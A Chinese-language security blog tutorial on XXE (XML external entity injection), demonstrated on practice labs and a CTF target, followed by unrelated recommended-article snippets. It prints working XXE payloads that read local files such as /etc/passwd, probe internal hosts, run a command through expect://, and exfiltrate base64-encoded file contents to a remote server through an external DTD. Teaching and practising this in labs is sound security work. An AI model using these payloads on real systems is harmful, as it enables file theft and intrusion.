WEB漏洞原理之---【XML&XXE利用检测绕过】

2023-09-14 22:19:42

1、概述

1.1、XML概念

XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。

XXE漏洞全称XMLExternal Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害

XXE是XML的一个漏洞


XXE产生根本原因:网站接受XML数据,没有对xml进行过滤


1.2、XML与HTML的主要差异

XML被设计为传输和存储数据,其焦点是数据的内容。

HTML被设计用来显示数据,其焦点是数据的外观。

HTML旨在**显示信息,而XML旨在传输信息**。

1.3、XML代码示例

<!--文档类型定义-->
<!DOCTYPE note [	<!--定义此文档时note类型的文档-->
<!ELEMENT note (to,from,heading,body)>	<!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>			<!--定义to元素为"#PCDATA"类型-->
<!ELEMENT from (#PCDATA)>		<!--定义from元素为"#PCDATA"类型-->
<!ELEMENT head (#PCDATA)>		<!--定义head元素为"#PCDATA"类型-->
<!ELEMENT body (#PCDATA)>		<!--定义body元素为"#PCDATA"类型-->
]]]>

<!--文档元素-->
<note>
    <to>Dave</to>
    <from>Tom</from>
    <head>Reminder</head>
    <body>You are a good man</body>
</note>

2、靶场演示

2.1、Pikachu靶场–XML数据传输测试

image-20230914200459665

-回显,玩法,协议,引入

image-20230914195827083

image-20230914200609514

玩法-1-读取文件

前提:读取的文件必须存在

<?xml version = "1.0"?>
<!DOCTYPE ANY [
		<!ENTITY xxe SYSTEM "file:///C:/tmp/1.txt">
]>
<x>&xxe;</x>

image-20230914200744610

玩法-2-内网探针或攻击内网应用(触发漏洞地址)
<?xml version = "1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTYTY rabbit SYSTEM "http://192.168.8.3/1.php">
]>
<x>&rabbit;</x>

上面的ip地址假设就是内网的一台服务器的ip地址。还可以进行一个端口扫描,看一下端口是否开放

如果访问的文件不存在,会显示如下图的信息

image-20230914201117180

玩法-3-RCE

该CASE是在安装expect扩展的PHP环境里执行系统命令

<?xml version = "1.0"?>
<!DOCTYPE ANY [
		<!ENTITY xxe SYSTEM "expect://id">
]>
<x>&xxe;</x>

id是对于的执行的命令。实战情况比较难碰到

引入外部实体DTD
<?xml version = "1.0"?>
<!DOCTYPE test [
		<!ENTITY % file SYSTEM "http://127.0.0.1/evil2.dtd">
		%file;
]>
<x>&send;</x>

把核心 代码写入evil2.dtd内容如下:

<!ENTITY send SYSTEM "file:///C:/tmp/1.txt">

image-20230914202446789

条件:看对方的应用有没有禁用外部实体引用,这也是防御XXE的一种措施

image-20230914202506375

无回显-读取文件

先把靶场的回显代码注释掉

image-20230914204451864

<?xml version = "1.0"?>
<!DOCTYPE test [
		<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/tmp/1.txt">
		<!ENTITY % dtd SYSTEM "http://192.168.8.3:80/test.dtd">
		%dtd;
		%send;
]>

#读取C:/tmp/1.txt里的内容复制给 file
#然后去请求test.dtd
  • test.dtd:
<!ENTITY % payload
	"<!ENTITY &#x25; send SYSTEM
'http://192.168.8.3:80/?data=%file;'>"
>
%payload;


#去访问?data=上面读到的数据
开启phpstudy–apache日志

image-20230914204048719

image-20230914204207341

重启phpstudy,就有了一个access.log

image-20230914204301315

然后攻击,无回显,查看日志

image-20230914204659302

解码网站:https://www.bejson.com/enc/base64/

image-20230914204803786

3、XXE绕过

CTF XXE

4、XXE检测

4.1、xxe-lab靶场

xxe-lab靶场登录框xml数据传输测试–检查发现

靶场地址:https://github.com/c0ny1/xxe-lab

image-20230914205749442

image-20230914210810316

请求头中如下:
    Content-Type: application/xml;
    或者
    Content-Type: text/xml;

Payload:

<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM "file:///C:/tmp/1.txt">
]>
<user><username>&test;</username><password>Mikasa</password></user>

image-20230914211108235

4.2、CTF-Jarvis-OJ-Web-XXE

XXE安全真题复现–修改数据请求格式

地址:http://web.jarvisoj.com:9882/

image-20230914212537086

点击Go!BurpSuite拦截

数据包为json格式

image-20230914212613373

修改Content-Type

提交Payload

<?xml version="1.0"?>
<!DOCTYPE  ANY [
<!ENTITY ss SYSTEM "file:///etc/passwd">
]>
<x>&ss;</x>

image-20230914212918002

4.3、Vulnhub/XXE Lab: 1

靶场地址:XXE Lab: 1

下载地址:Download (Mirror)

image-20230914214744412

5、XXEinjection工具

XXE安全漏洞自动化注射脚本 工具

XXEinjector本身提供了非常非常丰富的操作选项,所以大家在利用XXEinjector进行渗透测试之前,请自习了解这些配置选项,以最大限度地发挥XXEinjector的功能。当然了,由于XXEinjector是基于Ruby开发的,所以Ruby运行环境就是必须的了。这里建议在kali环境下运行

工具地址:

  • https://github.com/enjoiz/XXEinjector
  • https://github.com/enjoiz/XXEinjector/archive/master.zip

工具使用:

  • https://www.cnblogs.com/bmjoker/p/9614990.html
git clone https://github.com/enjoiz/XXEinjector.git

image-20230914215810231

6、XXE安全防御

php java python 过滤及禁用

image-20230914220424275

更多推荐

blog--4美化主题

配置/美化bug把你的网站名/themes/hugo-theme-stack/exampleSite/目录下的config.yaml复制到网站根目录(也就是你的网站名这个目录)删除网站根目录的config.tomlstack主题不需要这个配置文件打开网站根目录下的config.yaml进行填空博主头像放在/themes

Twitter账号优化:吸引更多关注与互动

创建Twitter账号并进行优化优化你的Twitter个人数据有助于提高企业的可视性并促进与用户的互动。通过与其他社交媒体页面的相互协调,你还可以建立一个专业且一致的品牌形象。创建一个标准的Twitter个人数据非常简单,但为了优化它适应您的业务需求,需要一些专业知识。前提是您是刚刚加入Twitter,还是已经在这个平

基于Python+Flask实现一个简易网页验证码登录系统案例

在当今的互联网世界中,为了防止恶意访问,许多网站在登录和注册表单中都采用了验证码技术。验证码可以防止机器人自动提交表单,确保提交行为背后有一个真实的人类用户。本文将向您展示如何使用Python的Flask框架来创建一个简单的验证码登录系统。1.开始之前首先,确保你已经安装了以下所需的库:pipinstallflaskP

2023年浙工商MBA新生奖学金名单公布,如何看待?

&nbsp;&nbsp;&nbsp;&nbsp;浙工商MBA项目官方最新公布了2023年的非全日制新生奖学金名单,按照政策约定,共分为特等奖学金1名,一等奖学金10名,二等奖学金15名,三等奖学金30名,额度对应3万、1万、0.8万、0.5万不等,主要名单信息如下:2023浙工商MBA奖学金名单2023浙工商MBA奖学

vue+element-ui el-descriptions 详情渲染组件二次封装(Vue项目)

目录1、需求2.想要的效果就是由图一变成图二​编辑3.组件集成了以下功能4.参数配置示例代码参数说明5,组件6.页面使用1、需求一般后台管理系统,通常页面都有增删改查;而查不外乎就是渲染新增/修改的数据(由输入框变成输入框禁用),因为输入框禁用后颜色透明度会降低,显的颜色偏暗;为解决这个需求于是封装了详情组件2.想要的

【C++】C++11——列表初始化及decltype

统一的列表初始化{}的初始化initializer_list容器autotypeid(变量名).name()decltype统一的列表初始化注意这里的列表初始化和初始化列表是两个性质哦{}的初始化在C++98的时候,我们的大括号只准许到了对数组或者结构体元素进行统一的列表初始化。例如//结构体structPoint{i

搜索技术领域的“奥林匹克”,飞桨支持“第二届百度搜索创新大赛”正式启动!...

秋季,是丰收的季节,以“新搜索·新奇点”为主题、由百度搜索携手英伟达联合发起,飞桨AIStudio星河社区支持的第二届百度搜索创新大赛,开赛啦!超过60万丰厚奖金,十余套赛事优质课程,优质的竞赛交流社区,等你来战!五大赛道:聚焦百度一线核心业务场景+大模型产品创新本次大赛设立五大赛题,题目涉及搜索核心业务场景,如语义检

利用面向对象方法,处理数据文件【Python】

题目背景:处理两份数据文件(文本数据和JSON数据),用面向对象的方法,效果图用柱状图呈现。本题思路:1.首先,创建一个【基础数据类】,名为Record,它将包含成员属性和成员方法。这个类将作为数据处理的基础结构。2.接着,创建一个【处理数据父类】,名为FileReader,它将包含成员方法,这个成员方法将被子类继承和

【SDXL_LORA模型训练详细教程(含云端教程)】

个人网站:https://tianfeng.space一、前言之前写过一篇SD1.5LORA模型的炼制方法,有的人想要我详细点说说秋叶启动器的lora训练器,SDXL建议使用秋叶的训练器,SD1.5赛博丹炉,个人习惯仅供参考!这次基于sdxl_lora模型的训练,顺便给大家详细的讲讲训练过程。SD1.5_lora训练文

【文件上传-配置文件】crossdomain.xml跨域策略配置文件上传

目录一、0x00前言二、基础知识1、Flash2、crossdomain.xml文件3、crossdomain.xml格式4、crossdomain.xml相关参数三、漏洞利用1、方法:2、上传漏洞配置文件一、0x00前言在很多地方都会见查是否跨域比如某些特定的步骤、CSRF、flash跨域劫持等链接二、基础知识1、F

ChatGPT:怎么用Java调出来文件选择器,然后返回文件的位置和名称?Swing 组件和 AWT 组件:Java GUI 编程的不同之处

ChatGPT:怎么用Java调出来文件选择器,然后返回文件的位置和名称?Swing组件和AWT组件:JavaGUI编程的不同之处怎么用Java调出来文件选择器,然后返回文件的位置和名称ChatGPT:在Java中,你可以使用JFileChooser类来创建一个文件选择器对话框,然后让用户选择文件,并获取所选文件的位置

热文推荐